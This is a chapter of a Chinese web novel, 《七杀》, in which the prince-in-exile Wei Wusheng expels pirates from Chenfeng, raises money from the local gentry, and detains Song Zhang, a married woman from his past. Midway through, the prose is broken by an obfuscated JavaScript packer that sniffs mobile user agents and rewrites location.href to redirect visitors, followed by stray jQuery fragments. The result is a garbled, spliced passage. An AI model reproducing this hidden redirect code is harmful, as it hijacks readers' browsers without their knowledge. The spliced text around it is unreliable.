34. 羊入虎口

作品:《七杀

    陈丰郡大乱,周边郡县尚在等待朝廷发兵救援,便有一股势力被披荆斩棘,杀将而来。虽然只有几百人,可个个身怀绝技,来势汹汹,不出几日这些倭寇便尽数被驱除。


    对于魏无笙的来头,那些百姓都不知所以,有的说是隐居在山林的绿林好汉,有的说是朝廷派来的青天大老爷。总之,那日他们看见一大批人马提着长剑大刀气势汹汹地冲开了陈丰郡的城门,解救百姓于危难之中,直冲了陈乌府衙。


    本地一些尚未来的及逃走的豪强此刻都聚集于陈乌府中,升厅议事,众人在看到少年走进来的一刻纷纷起身跪拜。


    “多谢三郎救我等性命于水火,也替城中百姓拜谢三郎。”


    “陈丰本是亡父旧地,蒙陛下厚恩,忝颜偏居于此。陈丰遭难,救人本是无笙份内之事,实在不敢担当诸位大礼。”


    这位年轻的郎君刚刚才平定完战事,脸上带着掩不住的疲倦,此刻见父老跪拜于地,连忙上前屈膝扶起。这让在座众人不由得对他更生好感。


    魏无笙和颜悦色,吩咐了下人看茶,一面道:“衣冠不整,本不该如此拜见诸位长辈,只是那贼寇还在东流县城有些残兵,埋伏城中,欺压百姓,我昨夜带兵前往平贼,所以来迟,诸位莫怪。”


    “怎会,怎会。那这么说,那些寇贼都被驱除出去了?”


    “杀的杀,逃的逃,犯我子民者,焉能姑息。那头目的首级已悬挂于城门之上示警,料得三年之内,倭寇不敢再犯。”


    众人闻言放下心来,都感叹这少年的英勇。


    “战事是平定了,只是城池已毁,寇贼烧杀抢掠,百姓损伤甚多。”


    魏无笙看了一眼众人,面色似带感佩,“按说这事本该与陈丰官员商议,只是一郡之中,大小官员都惨遭屠戮。许多名门富户为避祸患,纷纷逃窜,犹如狐鼠。”


    说到这里,众人的目光纷纷移向了别处,略有些不自在。


    魏无笙继续道:“唯有诸位贤长,大敌当前,不躲不避,坚守家园,暂护得一方百姓平安,使城池不至沦陷敌手。如此担当如此大勇,无笙敬佩不已。所以思来想去,这后续郡中的重建工作也唯赖各位相助。”


    众人又纷纷抬起了头,四目相对,尴尬地笑了笑。天知道他们不是不想跑,这时候的船只贵比黄金,他们是跑不起,所以留在了这里。


    听了魏无笙这番高帽,也知道不得不出点血了。于是,众人纷纷道:“三郎说的有理,我愿意出白金一百。”


    “我出二百两。”“我五十两......”


    “我出五百两。”


    一道声音从人群中传出,魏无笙和众人都看向了坐在角落的那人。却是个美髯相公。


    众人晓得他,城东的王秀才,自小天资出众,小小年纪中了秀才。可是之后却一直应试不第,直蹉跎到四十年华。幸而家中有个贤妻操持,靠着一家裁缝铺,十几亩田地收租,小有薄资。


    可是五百两,那可抵得上他的全部身家了。


    魏无笙看了身侧的李裕一眼,李裕便走下厅来,将纸笔一一送到众人面前,写下名册。而后便散了场。


    出门时众人聚在一块儿议论着,痛惜自己散出去的钱财。更兼议论上了那五百两。


    “五百两啊,老王头还没我家富余呢,平日过得紧紧巴巴,怎么今日一下舍出去这么多。”


    与王勉相熟的田老翁低声提醒道:“哎,王相公,你有这么多钱吗?别把棺材本都搭进去了,你家孩儿还要吃饭的。”


    王勉只是笑笑,“田老,你可知道三郎是什么人?”


    田老翁道:“怎么不知道,废太子的血脉,当年的小皇孙嘛。可是王相公,那都是几十年前了。太子当年私自结交雁王,意图谋反,被陛下当即诛杀。这位小皇孙也被安排在这偏远的陈丰,无人问津。你烧他的冷灶,恐怕是烧错了。”


    王勉道:“陈丰大小官员都死了,这魏三郎如今占了陈丰,解了围困,此事震惊朝野。若在这关口多出些钱钞,挣个头名,焉知不能上达天听呢?我观魏三郎非池中物,你看着吧,陈丰这块地方,说不准就落到他手里了。”


    陈丰郡当年是废太子的封地,太子虽被诛杀,妻儿尚在。皇帝当年也并没有收回这块地方,也没有说给谁,这么一直搁置着,众人默认是留给小皇孙承袭。但太子亡故时皇孙尚且年幼,梁王便代为监管。如果没有这场祸事,魏三郎恐怕早就被众人遗忘,抛之脑后。


    自然,这都是男子们的想法。尚在陈乌府中被关押的那些贵妇见了魏无笙只觉神兵天降,仰慕不已。


    “魏三郎生得也太好看了吧,你看看那腰,那眼睛,那鼻子......”


    “还有那嘴!比我家夫君好看太多了!”


    “而且人还温柔。要是他作贼寇,万不得已去伴上一夜倒也没那么可怕了。”


    宋璋在一旁听着,默默无语。自从魏无笙赶走了倭寇,主持着陈丰的大小事务,没有一人不夸赞敬佩的。他待人宽和,谦恭有礼,给横死的百姓出钱安葬,帮助他们修筑房屋。给失去男丁的家庭发放米粮钱财。


    他手下的士兵亲自帮百姓搭手砍柴挑水,刨坑埋尸,个个满面笑容,亲切热情,无一仗势凌人之辈。


    见微知著,陈丰的百姓视魏无笙这个空降临时官简直如神仙菩萨。人人都赞他,喜他。


    可唯有她,每每见到他那温和如玉的面庞,那春风细雨的笑容,她就浑身起鸡皮疙瘩。


    是,他是可能爱民如子,温柔和善。


    可唯独对她,她不抱有这个妄念,她确定以及肯定,对她而言,魏无笙就像一条伪装成人的毒蛇。一旦她放松警惕,众人都散去的时候,他就会现出原形,张开血盆巨口,用最尖利的獠牙狠狠咬下她的骨肉,嚼碎咬烂,拆吃入腹。


    她一点儿也不想待在这,对于这些女人而言,这是整个陈丰最安全的地方,但对她而言,这和贼窝也没什么区别了。她得尽快离开这里,以最不起眼,最无人注意的方式,像一条虫一样贴着墙根地面爬出去。


    然而怕什么来什么,她正想着不要再见到那张脸,便见魏无笙和李裕走了进来。


    沐浴过后,他脱去了那身盔甲,换上了一件月白湖蓝底的衫子,宽衣大袖,窄腰长肩,走起路来环佩作响。


    他端端正正地给众女行了一个礼,对众人温柔一笑。


    “饭食粗陋,不知诸位娘子口味,可还用的惯?”


    众人都是已为人妇的,此时听了这一问,见了这一笑,却不由得脸红羞怯起来。“郎君美意,无不周到的。”


    “那就好。贼寇作乱,让诸位娘子受惊。今已送信往诸位家中报知平安,车马也已安顿好,我的人即刻便送各位娘子回去。”


    众人听说要走,当即露出喜色,“多谢郎君,郎君大恩,妾与夫君铭记于心。日后若有用的着的地方,郎君只管找我,赴汤蹈火,在所不辞。”


    魏无笙道了声客气,知他们归心似箭,因亲送了他们出门上车,又命护卫跟随。


    宋璋跟在众人身后,全程低着头,眼见着三人一个接一个上了马,她心中狂喜,大大松了一口气。快走,快走,快走!


    然而上一个妇人刚进去,她正提了裙摆要走,一双手拦在了她面前。


    魏无笙低沉轻柔的声音从耳边传来:“三位娘子都是陈丰本户,家人也都已返回。宋娘子家在东流,余寇未平,又还没有联系到娘子的亲友,所以还请娘子稍留几日。”


    宋璋扯出了一个笑容,“没关系,郎君把我放在城门口便是,我自会出城回家。”


    说着,她一只脚已经踩上了马车,车内妇人正要掀开帘子伸手拉她,又听魏无笙道:“陈丰重建事宜繁多,在下人手不足,东流与其他三位娘子方向相反,一来二去,恐怕耽搁功夫。娘子不必担忧,不过晚上一二日罢了,娘子现在回去也是危险,在下也不能放心啊。”


    那妇人闻言默默收回了手,三人对视一眼,劝道:“是啊,宋娘子,你一个人回去多危险呐。这倭寇是走了,可山匪盗徒,这时候趁乱入户,那多的是呢。不如多呆些日子,等你夫君回来,再走不迟。”


    “是啊,是啊,整个陈丰没有比魏郎君这里更安全的了。”


    宋璋还要开口说什么,另一人顺势便和魏无笙


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15060592|162913||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    打了招呼,“那魏郎君,我们就走了,多谢郎君。”


    魏无笙递了一个眼神,卫兵便吩咐了车夫前行。


    马车咕噜噜走远了,宋璋站在门前,袖中的手紧紧贴在腿侧,抓着裙摆。


    她余光紧盯着身侧之人,瞥见他脚步微微上前,她立刻往旁边躲闪过去。


    魏无笙目光微动,笑了笑,“宋娘子似乎很怕我。”


    “郎君多虑了,郎君英勇杀敌,救妾身性命,妾身感激不尽。”


    “陈府的厨子不错,娘子方才没吃多少,不如同我一道用饭吧。”


    宋璋下意识就要拒绝,“不,不......”


    魏无笙身边的李裕上前笑道:“娘子就放心吧,我们是要找你了解清楚你家中情况好寻你夫君,便一道用饭吧,边吃边商量嘛。”


    宋璋顿了顿,这才跟上了他们。


    魏无笙和李裕两地奔波,忙了这些日子,的确有大半天没吃饭了。一方小桌上摆着几样家常菜肴,工序却非比寻常。


    李裕一边大口扒着饭,一边道:“嘿,大爷的,你还别说,这几样小菜味道比咱们吃的还好。这陈乌鸦还真是,日子过得滋润呐。”


    宋璋拿着筷子低头,余光始终警惕地落在对面那身白衣上。她们都走了,只剩下她一个人,她越来越有种羊入虎口的感觉。


    和李裕不同,魏无笙端坐笔直,慢条斯理地将碗里的笋丝夹起送入口中。他瞥了一眼宋璋,忽而盛了一碗汤放到宋璋面前。


    瞥见眼前身影一动,宋璋忽地站了起来,连带着椅子往后一动,发出剧烈声响。


    魏无笙顿了顿,瞥了她一眼,缓缓将那碗汤放在桌上,发出清脆的一声。


    看清他动作后的宋璋愣了愣,咳嗽了两声,低下头拍了拍自己的衣裙。“刚刚...有只蚊子。”


    李裕手里还端着碗,从呆滞的状态中恢复过来,咬着筷子乐呵地将目光在两人身上打了个转。


    “这还没入夏呢,看来陈府不仅菜好,连蚊子也比别的地儿来的早些。”


    宋璋皮笑肉不笑地又拍了两下方才在桌前坐下。


    “莲子玉兰汤,只放了三勺糖,尝尝吧。”


    这话一出,李裕看二人的眼神更暧昧了,这气氛、这对话,他一定以及肯定,这两人...有鬼。


    然而宋璋对这份体贴却颇为惊慌,活见鬼似的,听了这话一口汤呛在了喉咙,咳了起来。


    魏无笙拿出帕子试图替她擦拭唇边的汤渍,宋璋避开他咳了两下,猛灌了两口茶水,这才平复下来。


    男子似乎是嘲弄地笑了一声,“怎么,宋娘子是做了亏心事,怕我在汤里下毒?”


    她的确怀疑他不怀好意,但在人家的地盘上,这话倒是不敢说。


    “怎会,只是妾为人妇,男女有别,恐污了郎君清誉。”


    好歹李裕还在这里,她想借机提醒他,她也不是能随意揉捏的软面团。


    魏无笙闻言嗤笑一声,将那帕子收了回来,明明没有碰到,却还是一根一根擦了擦自己的手指,好像方才沾到了什么脏东西似的。


    “多亏宋娘子提醒,我倒是忘了,娘子是成了亲的人了。”


    他看了看李裕,李裕便将那本写着众人居所的册子拿了过来,魏无笙翻到了写着宋璋名字的那一页。


    娟秀的小字整整齐齐排列着,籍贯、居所、夫家名姓,都很清楚。只是仔细看去,那簪花小楷压抑着的字里行间仍不难看出恣意随性之笔调。


    “陈丰郡东流县新安街五桥巷舒宅,夫玄礼......”


    他念最后三字时格外地缓慢,语调耐人寻味,似喜非喜。


    “舒家,舒玄礼......魏无笙念着上面的字,勾了勾嘴角,眼中晦暗不明。


    他缓缓抬起头,将那册子拍在了案边,那一双熟悉的眸子朝她看了过来。幽深、漆黑,像夜幕中郊野的鬼火,随着凄风翻腾枯草摇动,带着万千坟茔的怨怒,朝她扑了过来。


    她怔怔看着他,整个身体猛然一抖。


    他盯着她,开口道,“璋姐,当年那般狠心丢了我,就是为了嫁给他啊?”